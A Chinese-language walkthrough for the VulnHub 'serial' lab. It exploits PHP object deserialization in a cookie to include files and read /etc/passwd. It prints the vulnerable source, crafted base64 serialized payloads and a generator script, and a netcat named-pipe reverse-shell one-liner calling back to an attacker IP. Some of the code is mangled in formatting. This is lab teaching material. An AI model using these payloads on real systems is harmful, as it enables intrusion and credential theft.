反序列化靶机实战serial(保姆级教程)

一.信息收集

靶机地址下载:https://download.vulnhub.com/serial/serial.zip

打开靶机,在kali虚拟机中进行主机存活探测

可以知道靶机ip地址为192.168.133.171

然后扫描端口 可以发现有一个22端口跟80端口

然后接下来用kali扫描它的目录

可以发现有一个可访问的目录 我们去访问一下

访问之后backup目录下有一个bak.zip 下载下来

下载下来之后有三个文件 分析一下

index.php

<?php
include("user.class.php");

if(!isset(_COOKIE\['user'\])) { setcookie("user", base64_encode(serialize(new User('sk4')))); } else { unserialize(base64_decode(_COOKIE['user']));
}
echo "This is a beta test for new cookie handler\n";
?>

log.class.php

<?php

class Log {

private $type_log;

function __costruct($hnd) {

this-\>type_log = $hnd;

}

public function handler($val) {

include($this->type_log);

echo "LOG: " . $val;

}

}

?>

user.class.php

<?php

include("log.class.php");

class Welcome {

public function handler($val) {

echo "Hello " . $val;

}

}

class User {

private $name;

private $wel;

function __construct($name) {

$this->name = $name;

$this->wel = new Welcome();

}

function __destruct() {

//echo "bye\n";

this-\>wel-\>handler(this->name);

}

}

?>

提示cookie,burpsuite抓包看一下cookie

cookie那里有一串base64加密的 解密一下

base64解码得到序列化后字段是

O:4:"User":2:{s:10:"Username";s:3:"sk4";s:9:"Userwel";O:7:"Welcome":0:{}}

然后我们构造payload 读取/etc/passwd文件

O:4:"User":2:{s:10:"\x00User\x00name";s:5:"admin";s:9:"\x00User\x00wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}')

base64编码

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjM6InNrNCI7czo5OiIAVXNlcgB3ZWwiO086MzoiTG9nIjoxOntzOjg6InR5cGVfbG9nIjtzOjExOiIvZXRjL3Bhc3N3ZCI7fX0=

然后再次抓包 打开用burp的repeater

将加密后的替换一下 就可以看到 然后成功包含 看到有一个sk4用户可登陆

get shell

构造序列化语句上传shell

生成一个shell放在本地网站下

然后构造payload,尝试读取passwd文件,payload如下 新创建一个1.php在本地的www下 然后 把type_log参数后面记得改成自己上传到本地的一句话木马

php 复制代码
<?php
  class Log {
    private $type_log = "/etc/passwd";
  }

  class User {
    private $name = "admin";
    private $wel;

    function __construct() {
      $this->wel = new Log();
  }
}
$obj = new User();
echo base64_encode(serialize($obj));

然后去访问自己新创建的php 我这里用的是7.php 打开就看到他的base64编码

然后去抓包 把访问7.php得到的base64编码 替换cookie

成功执行

开始反弹shell

rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>&1|nc+1192.168.133.163+6666+>/tmp/f

将上述代码url编码后填入参数位置

然后在kali里开启监听监听成功

在攻击模块发送 成功获取shell

查看文件,多返回几次上级目录,找到一个txt文件

查看文件得到他的账号跟密码

最后在远程连接 成功进入

相关推荐
chinayu20076 分钟前
虚拟机桥接模式
linux·运维·桥接模式
1LOVESJohnny10 分钟前
Linux | scp指令基于WSL在Windows/Ubuntu系统间传输文件
linux·ubuntu·wsl·文件传输
starstarzz22 分钟前
计算机网络实验四:Cisco交换机配置VLAN
网络·计算机网络·智能路由器·vlan·虚拟局域网
vvw&31 分钟前
如何在 Ubuntu 22.04 上安装 Graylog 开源日志管理平台
linux·运维·服务器·ubuntu·开源·github·graylog
大哥_ZH35 分钟前
Linux umami在国产麒麟系统安装网站统计工具(只能上国内网站的系统)
linux·服务器
o(╥﹏╥)1 小时前
在 Ubuntu 上安装 VS Code
linux·运维·vscode·ubuntu·vs
不爱学英文的码字机器1 小时前
[Linux] Shell 命令及运行原理
linux·运维·服务器
cdut_suye1 小时前
Linux工具使用指南:从apt管理、gcc编译到makefile构建与gdb调试
java·linux·运维·服务器·c++·人工智能·python
qq_433618442 小时前
shell 编程(三)
linux·运维·服务器
网安墨雨2 小时前
常用网络协议
网络·网络协议